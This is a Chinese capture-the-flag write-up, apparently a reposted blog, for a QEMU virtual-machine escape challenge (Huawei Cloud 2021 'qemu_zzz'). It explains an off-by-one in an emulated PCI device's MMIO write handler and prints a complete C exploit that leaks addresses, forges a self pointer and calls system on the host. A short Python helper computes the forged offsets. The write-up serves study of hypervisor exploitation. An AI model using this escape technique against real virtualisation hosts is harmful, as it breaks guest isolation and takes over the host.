• 【qemu逃逸】华为云2021-qemu_zzz


    前言

    虚拟机用户名:root

    无密码

    设备逆向

    经过逆向分析,可得实例结构体大致结构如下:

    其中 self 指向的是结构体本身,cpu_physical_memory_rw 就是这个函数的函数指针。arr 应该是 PCI 设备类结构体没啥用,就直接用数组填充了。

    zzz_mmio_read 函数就是读取 buf 中的内容,没啥用,就不看了,重点在 zzz_mmio_write 函数中。

    zzz_mmio_write 函数

    函数我已经把注释写的非常清楚了,就不详细说了。主要说下漏洞的利用。

    漏洞利用

     漏洞很明显就一个 off by one,而且题目无中生有的在 buf 后面搞了个 self 指针,并且在对 dst 进行读写时,是先取的 self 指针,然后 dst/src/len/cpu_..._rw 函数都是根据这个 self 指针来的。

    所以利用就很明显了,buf 这个空间我们是可控的,所以我们可以利用 off by one 去将 self 指针进行偏移,使得 dst,len,offset 落在 buf 中,这样就可以实现任意读了。

    为啥说是任意读呢?因为要实现写得让 len 的低比特为 0,这里可以利用那个异或操作。

    exp:

    1. #include
    2. #include
    3. #include
    4. #include
    5. #include
    6. #include
    7. void binary_dump(char *desc, void *addr, int len) {
    8. uint64_t *buf64 = (uint64_t *) addr;
    9. uint8_t *buf8 = (uint8_t *) addr;
    10. if (desc != NULL) {
    11. printf("\033[33m[*] %s:\n\033[0m", desc);
    12. }
    13. for (int i = 0; i < len / 8; i += 4) {
    14. printf(" %04x", i * 8);
    15. for (int j = 0; j < 4; j++) {
    16. i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
    17. }
    18. printf(" ");
    19. for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    20. printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    21. }
    22. puts("");
    23. }
    24. }
    25. void * mmio_base;
    26. void mmio_init()
    27. {
    28. int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
    29. if (fd < 0) puts("[X] open for resource0"), exit(EXIT_FAILURE);
    30. mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
    31. if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
    32. if (mlock(mmio_base, 0x100000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
    33. printf("[+] mmio_base: %#p\n", mmio_base);
    34. }
    35. uint64_t gva_to_gpa(void* addr)
    36. {
    37. uint64_t page;
    38. int fd = open("/proc/self/pagemap", O_RDONLY);
    39. if (fd < 0) puts("[X] open for pagemap"), exit(EXIT_FAILURE);
    40. lseek(fd, ((uint64_t)addr >> 12 << 3), 0);
    41. read(fd, &page, 8);
    42. return ((page & ((1ULL << 55) - 1)) << 12) | ((uint64_t)addr & ((1ULL << 12) - 1));
    43. }
    44. void mmio_write(uint64_t addr, uint64_t val)
    45. {
    46. *(uint64_t*)(mmio_base + addr) = val;
    47. }
    48. int main(int argc, char** argv, char** envp)
    49. {
    50. mmio_init();
    51. char * buf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
    52. memset(buf, 0, 0x1000);
    53. mlock(buf, 0x1000);
    54. uint64_t gpa = gva_to_gpa(buf);
    55. printf("[+] gpa: %#p\n", gpa);
    56. //n = 0x1001
    57. //offset = 0xfee
    58. //offset ^ 0x209 = 0xde7
    59. char cmd[8] = "xcalc;\x00\x00";
    60. *(uint64_t*)(buf + 0x00) = gpa;
    61. *(uint32_t*)(buf + 0x08) = (0x1000-0xfee)|1;
    62. *(uint32_t*)(buf + 0x0a) = 0xfee;
    63. *(uint64_t*)(buf + 0x430) = *(uint64_t*)cmd;
    64. *(uint64_t*)(buf + 0x430 + 0x8) = 0;
    65. *(uint64_t*)(buf + 0x430 + 0xa) = 0;
    66. puts("[+] Step 1");
    67. mmio_write(0x10, 0);
    68. mmio_write(0x18, 0x440);
    69. mmio_write(0x20, gpa >> 12);
    70. mmio_write(0x60, 0);
    71. puts("[+] Step 2");
    72. buf[0] = '\x00';
    73. buf[1] = '\xf0';
    74. mmio_write(0x10, 0xfff);
    75. mmio_write(0x18, 2);
    76. mmio_write(0x20, gpa >> 12);
    77. mmio_write(0x60, 0);
    78. puts("[+] Step 3");
    79. mmio_write(0x60, 0);
    80. binary_dump("OOR DATA", buf+2, 0x20);
    81. uint64_t self_addr = *(uint64_t*)(buf + 2) - 0x10;
    82. uint64_t system_plt = *(uint64_t*)(buf + 2 + 0x08) - 0x314b40;
    83. printf("[+] system@plt: %#p\n", system_plt);
    84. puts("[+] Step 4");
    85. mmio_write(0x10, 8);
    86. mmio_write(0x18, 24);
    87. puts("[+] xor xor");
    88. mmio_write(0x50, 0);
    89. buf[0] = '\x00';
    90. *(uint64_t*)(buf + 1) = self_addr + 0xe20;
    91. *(uint32_t*)(buf + 1 + 8) = 0;
    92. *(uint32_t*)(buf + 1 + 8 + 4) = 0;
    93. *(uint64_t*)(buf + 0x209) = self_addr + 0xe08;
    94. *(uint64_t*)(buf + 0x209 + 0x8) = system_plt;
    95. puts("[+] Step 5");
    96. mmio_write(0x60, 0);
    97. puts("[+] Triger");
    98. mmio_write(0x60, 0);
    99. puts("[+] END!");
    100. return 0;
    101. }

    效果如下:

    坑点

    就我而言,在我的本地环境中,实例结构体地址的低字节为 0xe0,而由于我们只能修改低字节的数据,所以这里就只能把 self 的低字节修改为 0xf0。

    在伪造 dst/len/offset,如果你伪造的 offset = 0xff0,len = 0x11 你会发现,后面异或之后其 len + offset > 0x1001 导致无法进行写入(针对实例结构体而言)。所以这里的 offset 和 len 不能随便伪造。这里写了一个脚本用于计算伪造的 offset 和 len:

    1. for offset in range(0, 0xff0):
    2. orgi_n = offset + ((0x1000 - offset)|1)
    3. n = (offset^0x209) + ((((0x1000-offset)|1))^0x209)
    4. if n == 0x1001 and orgi_n == 0x1001:
    5. print("n = ", hex(n))
    6. print("offset = ", hex(offset))
    7. print("offset ^ 0x209 = ", hex(offset ^ 0x209))
    8. print("========================================")
  • 相关阅读:
    Function of several real variables
    独立站卖家如何使用 WhatsApp Business API 建立有意义的客户关系?
    计算机基础 - 二进制
    以太坊虚拟机
    基于形态学滤波的心电信号ECG处理(MATLAB 2021B)
    Java面试题:@PostConstruct、init-method和afterPropertiesSet执行顺序?
    华为mate60麒麟9000s的架构体系
    蓝牙核心规范(V5.4)10.4-BLE 入门笔记之ISOAL
    【JS高级】ES6_参数增强、解构的简谈与应用_14
    Autocad VBA中的ModelSpace、PaperSpace和Layout
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/134230498